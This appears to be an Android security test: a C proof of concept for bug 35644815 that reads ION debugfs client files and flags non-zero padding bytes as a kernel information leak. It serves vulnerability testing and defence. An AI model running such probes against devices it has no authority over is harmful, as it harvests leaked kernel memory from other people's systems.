Home | History | Annotate | Download | only in Bug-35644815
      1 /**
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 
     17 #define _GNU_SOURCE
     18 #include <string.h>
     19 #include <errno.h>
     20 #include <fcntl.h>
     21 #include <pthread.h>
     22 #include <sched.h>
     23 #include <signal.h>
     24 #include <stdio.h>
     25 #include <stdlib.h>
     26 #include <string.h>
     27 #include <sys/ioctl.h>
     28 #include <sys/mman.h>
     29 #include <sys/stat.h>
     30 #include <sys/types.h>
     31 #include <unistd.h>
     32 // for syscall
     33 #include <sys/syscall.h>
     34 // for futex
     35 #include <linux/futex.h>
     36 #include <sys/time.h>
     37 // for opendir / readdir
     38 #include <dirent.h>
     39 
     40 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
     41 #define ERR(fmt, ...) \
     42   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
     43 #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
     44 
     45 static int set_affinity(int num) {
     46   int ret = 0;
     47   cpu_set_t mask;
     48   CPU_ZERO(&mask);
     49   CPU_SET(num, &mask);
     50   ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
     51   if (ret == -1) {
     52     ERR("[-] set affinity failed");
     53   }
     54   return ret;
     55 }
     56 
     57 struct ion_debugfs_handle_header {
     58   unsigned int version;
     59 };
     60 
     61 struct ion_debugfs_handle_entry {
     62   unsigned int heap_id;
     63   size_t size;
     64   unsigned int flags;
     65   unsigned int handle_count;
     66   size_t mapped_size;
     67 };
     68 
     69 struct ion_debugfs_handle {
     70   struct ion_debugfs_handle_header hdr;
     71   struct ion_debugfs_handle_entry entry;
     72 };
     73 
     74 #define TARGET "/sys/kernel/debug/ion/clients/pids/"
     75 int main(int argc, char *argv[]) {
     76   int i, j, ret, tmpfd;
     77   ssize_t rr;
     78   char buf[PAGE_SIZE] = {0}, *p;
     79   DIR *dir;
     80   struct dirent *ent;
     81   struct ion_debugfs_handle_header hdr = {0};
     82   struct ion_debugfs_handle_entry entry = {0};
     83   struct ion_debugfs_handle handle = {0};
     84 
     85   /* bind_cpu */
     86   set_affinity(0);
     87 
     88   dir = opendir(TARGET);
     89   if (dir == NULL) {
     90     ERR("[-] opendir %s failed", TARGET);
     91     return -1;
     92   }
     93 
     94   while (ent = readdir(dir)) {
     95     if (ent->d_type != DT_REG) {
     96       continue;
     97     }
     98 
     99     memset(buf, 0, PAGE_SIZE);
    100     snprintf(buf, PAGE_SIZE, "%s%s", TARGET, ent->d_name);
    101 
    102     tmpfd = open(buf, O_RDWR);
    103 
    104     if (tmpfd == -1) {
    105       continue;
    106     }
    107 
    108     rr = read(tmpfd, &hdr, sizeof(hdr));
    109 
    110     for (;;) {
    111       rr = read(tmpfd, &entry, sizeof(entry));
    112       if (rr == 0) {
    113         break;
    114       }
    115 
    116       if (rr != sizeof(entry)) {
    117         break;
    118       }
    119 
    120       p = (char *)&entry;
    121       p += sizeof(int);
    122       for (i = 0; i < sizeof(int); i++) {
    123         if(p[i] != 0) {
    124           printf("INFO DISC FLAG; ");
    125           for (j = 0; j < sizeof(int); j++) {
    126             printf("%x", p[j]);
    127           }
    128           break;
    129         }
    130       }
    131     }
    132     close(tmpfd);
    133   }
    134   closedir(dir);
    135   return 0;
    136 }
    137